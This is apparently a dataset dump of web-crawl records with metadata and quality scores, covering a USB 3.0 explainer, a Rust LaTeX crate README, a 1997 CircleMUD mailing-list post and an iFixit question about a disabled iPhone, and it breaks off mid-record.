id
int64 | text
string | metadata
dict | line_start_n_end_idx
dict | quality_signals
dict | eai_taxonomy
dict | pid
string |
|---|---|---|---|---|---|---|
1,927,539,645,818,732,800 | What are the Advantages of USB 3.0?
R. Kayne
R. Kayne
A USB 3.0 allows for data transfer speed up to 5 gigabits per second.
A USB 3.0 allows for data transfer speed up to 5 gigabits per second.
Universal Serial Bus (USB) 3.0 is the latest specification of the USB standard, introduced in August 2008 by a partnership of developers led by Intel. The protocol allows for data transfer speeds up to 5.0 gigabits per second (Gbits/s), or 625 Megabytes per second (MB/s), about ten times faster than USB 2.0.
USB 1.0 technology was introduced in 1996 and has undergone several iterations, improving in transfer speed with each new standard. To date, the standards are as follows:
• USB 1.0 Low Speed 1.5 Mbits/s
• USB 1.1 Full Speed 12 Mbits/s (1.5 MB/s)
• USB 2.0 High Speed 480 Mbits/s (60 MB/s)
• UBS 3.0 SuperSpeed 5.0 Gbits/s (625 MB/s)
Older USBs only allowed up to 480 megabits per second.
Older USBs only allowed up to 480 megabits per second.
Human interface devices, such as keyboards and mice, require low bandwidth and can operate with USB 1.0, while subsequent protocols are used for data transfer between computers and peripheral devices such as external hard drives, printers, scanners, fax machines and backup units. Digital cameras, cell phones, personal digital assistants (PDAs) and game consoles are among the plethora of other electronic devices that also make use of USB.
A variety of USB cables.
A variety of USB cables.
With greater demands for transferring larger files at faster speeds, USB 3.0 was promised to be a welcome improvement from 2.0 technology and USB might not be a bottleneck for data transfer. Internal hard drives could be playing catch-up until "SATA 6 Gb/s" (the next generation SATA with transfer rates of 6 gigabits per second) and solid-state drives become widespread. In the meantime, SATA drives with maximum data transfer rates of 300 MB/s (3 Gb/s) will only be half as fast as USB 3.0, assuming it matures to its full theoretical potential.
Digital cameras are among the many devices that utilize USB.
Digital cameras are among the many devices that utilize USB.
With even homeowners are surpassing the 1 terrabyte boundary, and many at home and at work using external drives for full drive backups, faster transfer speeds are important. External enclosures using USB 3.0 would reduce backup times considerably, improving productivity and efficiency. Transferring graphic contents from digital movie and camera flash cards is another area where the average person could see a drastic improvement with the improved technology.
USB 3.0 achieves its high transfer rates by using four additional wires in the data cable, for a total of six wires. It supports full-duplex communication, or the ability to send and receive data simultaneously, and is power efficient. Most importantly, it is backward compatible with USB 2.0 devices, although to achieve 3.0 speeds, a 3.0-compatible device and cable must be used.
You might also Like
Discussion Comments
pleonasm
@umbra21 - The annoying thing is, though, that you can't just get a new cable and use that, you've got to update everything so that it has USB 3.0 compatibility. And by the time you get around to doing that, they've come out with something else!
I try to just replace stuff when it's about to wear out, rather than keeping up with the latest technology. I find it much easier to replace everything at once, so that it's all compatible rather than doing it one piece at a time. I know it's possible to do that, but it's too fiddly and I don't have time for it.
umbra21
I'm really glad that they are improving the USB connectors because data transfer is a pain at the moment. If USB 3.0 has more speed, I'm all for it.
It seems strange to me that I can often actually transfer a file across the internet and essentially the world, faster than I can transfer it to my external drive. It puts me off doing that which I know is a mistake because cloud storage and storing things on my laptop shouldn't be the only way I keep them.
Post your comments
Login:
Forgot password?
Register:
• A USB 3.0 allows for data transfer speed up to 5 gigabits per second.
By: Shawn Hempel
A USB 3.0 allows for data transfer speed up to 5 gigabits per second.
• Older USBs only allowed up to 480 megabits per second.
By: szilvi9
Older USBs only allowed up to 480 megabits per second.
• A variety of USB cables.
A variety of USB cables.
• Digital cameras are among the many devices that utilize USB.
By: Deyan Georgiev
Digital cameras are among the many devices that utilize USB. | {
"url": "https://www.wise-geek.com/what-are-the-advantages-of-usb-30.htm",
"source_domain": "www.wise-geek.com",
"snapshot_id": "crawl=CC-MAIN-2022-21",
"warc_metadata": {
"Content-Length": "87597",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:OQ6ITJZWUVJEMDODU56I36JOSWEIXOKM",
"WARC-Concurrent-To": "<urn:uuid:f151c889-05a9-431a-a67d-347d25e0397a>",
"WARC-Date": "2022-05-25T13:57:35Z",
"WARC-IP-Address": "162.210.232.130",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:WEF2TOOZ6SSNJPRFBTWVM77KJAVEAV65",
"WARC-Record-ID": "<urn:uuid:a036ebe9-e006-4c09-8148-c7d337d38f68>",
"WARC-Target-URI": "https://www.wise-geek.com/what-are-the-advantages-of-usb-30.htm",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3d7e9962-54c3-49b2-b2a0-439a7c8a0f41>"
},
"warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-189\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
36,
37,
46,
55,
125,
195,
196,
506,
507,
678,
679,
713,
758,
803,
849,
904,
959,
960,
1402,
1403,
1428,
1453,
1454,
2002,
2003,
2064,
2125,
2126,
2589,
2590,
2972,
2973,
2993,
2994,
3014,
3015,
3024,
3025,
3271,
3272,
3586,
3587,
3595,
3596,
3745,
3746,
4055,
4056,
4075,
4082,
4099,
4109,
4185,
4208,
4284,
4345,
4363,
4424,
4455,
4486,
4553,
4578
],
"line_end_idx": [
36,
37,
46,
55,
125,
195,
196,
506,
507,
678,
679,
713,
758,
803,
849,
904,
959,
960,
1402,
1403,
1428,
1453,
1454,
2002,
2003,
2064,
2125,
2126,
2589,
2590,
2972,
2973,
2993,
2994,
3014,
3015,
3024,
3025,
3271,
3272,
3586,
3587,
3595,
3596,
3745,
3746,
4055,
4056,
4075,
4082,
4099,
4109,
4185,
4208,
4284,
4345,
4363,
4424,
4455,
4486,
4553,
4578,
4644
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4644,
"ccnet_original_nlines": 62,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.36763235926628113,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05994005873799324,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.23876124620437622,
"rps_doc_frac_unique_words": 0.4113924205303192,
"rps_doc_mean_word_length": 4.569620132446289,
"rps_doc_num_sentences": 70,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.2223711013793945,
"rps_doc_word_count": 790,
"rps_doc_frac_chars_dupe_10grams": 0.18504154682159424,
"rps_doc_frac_chars_dupe_5grams": 0.18504154682159424,
"rps_doc_frac_chars_dupe_6grams": 0.18504154682159424,
"rps_doc_frac_chars_dupe_7grams": 0.18504154682159424,
"rps_doc_frac_chars_dupe_8grams": 0.18504154682159424,
"rps_doc_frac_chars_dupe_9grams": 0.18504154682159424,
"rps_doc_frac_chars_top_2gram": 0.01662050001323223,
"rps_doc_frac_chars_top_3gram": 0.02908587083220482,
"rps_doc_frac_chars_top_4gram": 0.02908587083220482,
"rps_doc_books_importance": -423.2295227050781,
"rps_doc_books_importance_length_correction": -423.2295227050781,
"rps_doc_openwebtext_importance": -232.90440368652344,
"rps_doc_openwebtext_importance_length_correction": -232.90440368652344,
"rps_doc_wikipedia_importance": -136.64315795898438,
"rps_doc_wikipedia_importance_length_correction": -136.64315795898438
},
"fasttext": {
"dclm": 0.05817592144012451,
"english": 0.9388578534126282,
"fineweb_edu_approx": 1.7459304332733154,
"eai_general_math": 0.32731813192367554,
"eai_open_web_math": 0.5030200481414795,
"eai_web_code": 0.04236328974366188
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
2,002,248,512,113,351,200 | #pdf #tex #latex #native #compile #write #output #developer #compilation
nightly texcore
Write latex in rust, and either compile it to pdf or output the tex code
36 releases (5 breaking)
new 0.6.1 Mar 23, 2023
0.5.4 Mar 5, 2023
0.3.3 Dec 6, 2022
0.3.0 Nov 30, 2022
0.1.0 Jul 19, 2022
#195 in Text processing
Download history 82/week @ 2022-11-30 44/week @ 2022-12-07 15/week @ 2022-12-14 6/week @ 2022-12-21 7/week @ 2022-12-28 91/week @ 2023-01-04 157/week @ 2023-01-11 66/week @ 2023-01-18 20/week @ 2023-01-25 18/week @ 2023-02-01 163/week @ 2023-02-08 128/week @ 2023-02-15 166/week @ 2023-02-22 94/week @ 2023-03-01 18/week @ 2023-03-08 50/week @ 2023-03-15
355 downloads per month
Used in 3 crates
MIT license
60KB
1.5K SLoC
TexCore
GitHub Workflow Status Lines of code Crates.io Crates.io GitHub top language
The TexCore library is under the MIT License
TexCore is a library that allows a developer to write LaTeX using native Rust types. We also provide functions to compile the code using a Rust built LaTeX compiler, tectonic.
To add to your project:
[dependencies]
texcore = "0.6"
The Compile Feature
To allow this library to be able to run on Windows systems, I have made the tectonic dependency optional and only available under the compile feature. This means that the function, texcore::compile() and ElementList::compile() are hidden under this feature.
[dependencies]
texcore = { version = "0.6", features = ["compile"] }
The TexCreate Template Feature
To allow easier development with the TexCreate project, I have decided to add the texcreate-templates portion under the texcreate_template feature.
texcore = { version = "0.6", features = ["texcreate_template"] }
The Async Feature
This feature provides asynchronous options using the type, TexAsync which isn't a trait but a generic struct that requires T to implement Tex. The reason of not using a trait is that asynchronous methods in a trait isn't stable yet. Most importantly we get the following functions from the future module:
• async_latex_string<T: Tex>(t: &T) -> impl Future<Output=String> + Send
• Element<Any>::async_latex_string()
• ElementList::async_latex_string()
• ElementList::async_latex_split_string()
• ElementList::async_write()
• ElementList::async_split_write()
Advantages of using the asynchronous writing operations is because they are done so concurrently, and in terms of async_split_write(), the task of writing to each file is done in parallel.
texcore = { version = "0.6", features = ["async"] }
The Parallel Feature
This features utilizes the rayon crate to allow ElementList to contain the following functions:
• ElementList::par_write()
• ElementList::par_write_split()
• ElementList::par_iter()
• ElementList::par_iter_mut()
texcore = { version = "0.6", features = ["parallel"] }
The Full Feature
To enable all features seen above , you may use the full feature.
texcore = { version = "0.6", features = ["full"] }
Added Modules in 0.6
• The bundle module provides types to easily add into your document:
• Add images using the graphicx package under the module, texcore::bundle::graphicx
• Add mathematical symbols or equations under the module, texcore::bundle::math
• Be able to add extra parameters to elements using the modify_element() function
• This is under the texcore::extra_ops module
Read documentation here
Dependencies
~0.8–12MB
~223K SLoC | {
"url": "https://lib.rs/crates/texcore",
"source_domain": "lib.rs",
"snapshot_id": "CC-MAIN-2023-14",
"warc_metadata": {
"Content-Length": "22807",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NQVTBMKI2QGOV2V47I5PWWAP5US7SYI7",
"WARC-Concurrent-To": "<urn:uuid:a2393051-34c4-4c18-bb50-50f95f9eb6fd>",
"WARC-Date": "2023-03-23T08:28:31Z",
"WARC-IP-Address": "172.67.214.234",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:BC4D6ZMM2UK3JZEZ4LVMRDAE6BEN5CGG",
"WARC-Record-ID": "<urn:uuid:978cff82-8862-476a-a452-d2816b65a05d>",
"WARC-Target-URI": "https://lib.rs/crates/texcore",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4b0827e7-5072-4f99-aa71-bdda80937e07>"
},
"warc_info": "isPartOf: CC-MAIN-2023-14\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-159\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
73,
74,
90,
91,
164,
165,
190,
191,
214,
232,
250,
269,
288,
289,
313,
314,
669,
670,
694,
711,
712,
724,
725,
730,
740,
741,
749,
750,
827,
828,
873,
874,
1050,
1051,
1075,
1076,
1091,
1107,
1108,
1128,
1129,
1387,
1388,
1403,
1457,
1458,
1489,
1490,
1638,
1639,
1704,
1705,
1723,
1724,
2029,
2030,
2105,
2144,
2182,
2226,
2257,
2294,
2295,
2484,
2485,
2537,
2538,
2559,
2560,
2656,
2657,
2686,
2721,
2749,
2781,
2836,
2837,
2854,
2855,
2921,
2922,
2973,
2974,
2995,
2996,
3067,
3155,
3239,
3323,
3373,
3374,
3398,
3399,
3412,
3413,
3423
],
"line_end_idx": [
73,
74,
90,
91,
164,
165,
190,
191,
214,
232,
250,
269,
288,
289,
313,
314,
669,
670,
694,
711,
712,
724,
725,
730,
740,
741,
749,
750,
827,
828,
873,
874,
1050,
1051,
1075,
1076,
1091,
1107,
1108,
1128,
1129,
1387,
1388,
1403,
1457,
1458,
1489,
1490,
1638,
1639,
1704,
1705,
1723,
1724,
2029,
2030,
2105,
2144,
2182,
2226,
2257,
2294,
2295,
2484,
2485,
2537,
2538,
2559,
2560,
2656,
2657,
2686,
2721,
2749,
2781,
2836,
2837,
2854,
2855,
2921,
2922,
2973,
2974,
2995,
2996,
3067,
3155,
3239,
3323,
3373,
3374,
3398,
3399,
3412,
3413,
3423,
3433
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3433,
"ccnet_original_nlines": 96,
"rps_doc_curly_bracket": 0.0029128999449312687,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1780645251274109,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.014193549752235413,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4516128897666931,
"rps_doc_frac_unique_words": 0.5273522734642029,
"rps_doc_mean_word_length": 5.610503196716309,
"rps_doc_num_sentences": 31,
"rps_doc_symbol_to_word_ratio": 0.012903230264782906,
"rps_doc_unigram_entropy": 5.035823822021484,
"rps_doc_word_count": 457,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.02418096922338009,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.018720749765634537,
"rps_doc_frac_chars_top_3gram": 0.031201250851154327,
"rps_doc_frac_chars_top_4gram": 0.046801868826150894,
"rps_doc_books_importance": -326.86578369140625,
"rps_doc_books_importance_length_correction": -326.86578369140625,
"rps_doc_openwebtext_importance": -206.52169799804688,
"rps_doc_openwebtext_importance_length_correction": -206.52169799804688,
"rps_doc_wikipedia_importance": -133.4674835205078,
"rps_doc_wikipedia_importance_length_correction": -133.4674835205078
},
"fasttext": {
"dclm": 0.024158120155334473,
"english": 0.737125039100647,
"fineweb_edu_approx": 1.6502538919448853,
"eai_general_math": 0.8453966975212097,
"eai_open_web_math": 0.2814093828201294,
"eai_web_code": 0.6223333477973938
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "025.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "Library science",
"level_3": "Library administration"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "17",
"label": "Product Page"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
7,976,731,534,264,881,000 | Re: Buffers
From: George ([email protected])
Date: 08/19/97
On Wed, 20 Aug 1997, Andrew Helm wrote:
>In buffer.h and buffer.c you use __FUNCTION__ a couple of times.
>It appears that __FUNCTION__ isn't ansi standard.... my compiler
AIX gcc 2.7.2 and Linux gcc 2.7.2.2 are ok with it...maybe it's a GNU
extension...__FILE__ works fine though. Just #define __FUNCTION__ __FILE__
>BTW, have you profiled a mud with the buffer code yet? I'd be
Not as of yet. I want to use inline functions but I know that some
compilers don't like them.
>Also, how about adding the ability to collect statistics on
>buffer usage? (ie- ratio of small buffers to players, ratio
>Once again, thanks for the cool patch. =)
show buffers ?
Not quite everything you want but still interesting. Statistics isn't
really a priority though... :)
The best part about this patch is that it does things that I didn't even
think of when I started it: Buffer corruption and snprintf() support.
--
[email protected] [email protected] | Genius may have its limitations, but stupidity
http://www.muohio.edu/~greerga | is not thus handicapped. -- Elbert Hubbard
+------------------------------------------------------------+
| Ensure that you have read the CircleMUD Mailing List FAQ: |
| http://democracy.queensu.ca/~fletcher/Circle/list-faq.html |
+------------------------------------------------------------+
This archive was generated by hypermail 2b30 : 12/08/00 PST | {
"url": "http://www.circlemud.org/maillist/1997-08/0693.html",
"source_domain": "www.circlemud.org",
"snapshot_id": "crawl=CC-MAIN-2017-47",
"warc_metadata": {
"Content-Length": "3932",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:75CBKFEHPCML5NDMDL4MIUSSUFGCVED6",
"WARC-Concurrent-To": "<urn:uuid:171a5186-5732-49ab-adee-eabdb4666e38>",
"WARC-Date": "2017-11-22T18:19:44Z",
"WARC-IP-Address": "54.245.230.133",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:G5FBTC6PCBLR7VHDPICJVMGNT3TQEEDW",
"WARC-Record-ID": "<urn:uuid:a7da2c85-edd0-48b5-acd3-6b80a87ca901>",
"WARC-Target-URI": "http://www.circlemud.org/maillist/1997-08/0693.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:718eb747-6d58-432e-8dee-da5142a6aa3b>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-164-5-214.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-47\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for November 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
12,
13,
58,
73,
74,
75,
115,
116,
182,
248,
249,
319,
395,
396,
459,
460,
528,
555,
556,
617,
678,
721,
722,
737,
738,
809,
840,
841,
914,
985,
986,
989,
1069,
1145,
1146,
1147,
1215,
1283,
1351,
1419,
1420,
1421,
1422
],
"line_end_idx": [
12,
13,
58,
73,
74,
75,
115,
116,
182,
248,
249,
319,
395,
396,
459,
460,
528,
555,
556,
617,
678,
721,
722,
737,
738,
809,
840,
841,
914,
985,
986,
989,
1069,
1145,
1146,
1147,
1215,
1283,
1351,
1419,
1420,
1421,
1422,
1481
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1481,
"ccnet_original_nlines": 43,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2910216748714447,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05882352963089943,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3250774145126343,
"rps_doc_frac_unique_words": 0.7268041372299194,
"rps_doc_mean_word_length": 5.051546573638916,
"rps_doc_num_sentences": 33,
"rps_doc_symbol_to_word_ratio": 0.015479880385100842,
"rps_doc_unigram_entropy": 4.810476303100586,
"rps_doc_word_count": 194,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -175.5841064453125,
"rps_doc_books_importance_length_correction": -168.2742919921875,
"rps_doc_openwebtext_importance": -103.13450622558594,
"rps_doc_openwebtext_importance_length_correction": -103.13450622558594,
"rps_doc_wikipedia_importance": -65.81072235107422,
"rps_doc_wikipedia_importance_length_correction": -55.03201675415039
},
"fasttext": {
"dclm": 0.018489360809326172,
"english": 0.9021368622779846,
"fineweb_edu_approx": 1.274888038635254,
"eai_general_math": 0.15750914812088013,
"eai_open_web_math": 0.382459819316864,
"eai_web_code": 0.008123819716274738
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-3,018,179,394,814,992,000 | Complete how-to and replacement guides for the original iPhone, iPhone 3G, iPhone 3GS, iPhone 4, iPhone 4s, iPhone 5, iPhone 5c, iPhone 5s, iPhone 6, iPhone 6 Plus, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPhone 8, iPhone 8 Plus, iPhone X, iPhone XS, and iPhone XS Max.
29629 Questions View all
My iPhone is disabled for 6 millions minutes?
My iPhone hasn't been used for lots of years. I turned it on and it says disabled for 6 million + minutes? How do I fix it?
Answer this question I have this problem too
Is this a good question?
Score 1
Add a comment
2 Answers
Most Helpful Answer
You need to perform a hard reset. This can be accomplished by connecting the device to a computer with iTunes. At this point you need to hold down both the home button and sleep wake button at the same time until the device turns off. Once it turns off let go of the sleep/wake button but continue to hold the home button. This will place your device in recovery mode. If done correctly iTunes will give you an alert noting that it has detected a device in recovery mode. You can then restore it to factory settings in iTunes by selecting the device and clicking the restore button. Please note that this will erase any content on the phone. I hope this helps. Good luck.
Was this answer helpful?
Score 3
Add a comment
You can just connect it to iTunes, look at the settings of your device and back up all your data on iCloud. If it says that you need to enter your passcode, hopefully you remember it after a lot of years. Next, after the backup, erase your iPhone by clicking the erase all content and data button. That will erase the data and your passcode. Next, set up your iPhone and then log in to iCloud and download all your data and you will get all your stuff back. I have the iPhone 4s and it got disabled as well a few weeks ago and the battery died. When I charged it, it went into set up mode and that is better than it being disabled. If your battery is dead you can just charge it. You can also take it to the Apple store and let them repair. I hope you can unlock your iPhone again.
Was this answer helpful?
Score 0
Add a comment
Add your answer
Cookies will be eternally grateful.
View Statistics:
Past 24 Hours: 0
Past 7 Days: 0
Past 30 Days: 1
All Time: 671 | {
"url": "https://www.ifixit.com/Answers/View/116839/My+iPhone+is+disabled+for+6+millions+minutes",
"source_domain": "www.ifixit.com",
"snapshot_id": "crawl=CC-MAIN-2018-47",
"warc_metadata": {
"Content-Length": "68452",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:OEI7LH2N4NSA72TC2OLZXL5RX6VT6QBU",
"WARC-Concurrent-To": "<urn:uuid:4fe71396-d7d0-4dde-b597-c4969ca92531>",
"WARC-Date": "2018-11-13T04:19:27Z",
"WARC-IP-Address": "75.101.159.182",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:BIDKVGXX7WK3HIVRK5JGGU6ZWVJWAYDA",
"WARC-Record-ID": "<urn:uuid:5f3609cc-8553-4633-9ace-f9ca0422addb>",
"WARC-Target-URI": "https://www.ifixit.com/Answers/View/116839/My+iPhone+is+disabled+for+6+millions+minutes",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:9ac7f0ee-1518-4512-99ad-4f4e81fec1b1>"
},
"warc_info": "isPartOf: CC-MAIN-2018-47\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-186-213-29.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
282,
283,
308,
309,
355,
356,
480,
481,
526,
527,
552,
553,
561,
575,
576,
586,
587,
607,
608,
1280,
1281,
1306,
1307,
1315,
1329,
1330,
2112,
2113,
2138,
2139,
2147,
2161,
2162,
2178,
2179,
2215,
2232,
2233,
2250,
2251,
2266,
2267,
2283,
2284
],
"line_end_idx": [
282,
283,
308,
309,
355,
356,
480,
481,
526,
527,
552,
553,
561,
575,
576,
586,
587,
607,
608,
1280,
1281,
1306,
1307,
1315,
1329,
1330,
2112,
2113,
2138,
2139,
2147,
2161,
2162,
2178,
2179,
2215,
2232,
2233,
2250,
2251,
2266,
2267,
2283,
2284,
2297
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2297,
"ccnet_original_nlines": 44,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.38247013092041016,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.023904379457235336,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.16733068227767944,
"rps_doc_frac_unique_words": 0.43020594120025635,
"rps_doc_mean_word_length": 4.068649768829346,
"rps_doc_num_sentences": 30,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.781869411468506,
"rps_doc_word_count": 437,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.028121480718255043,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
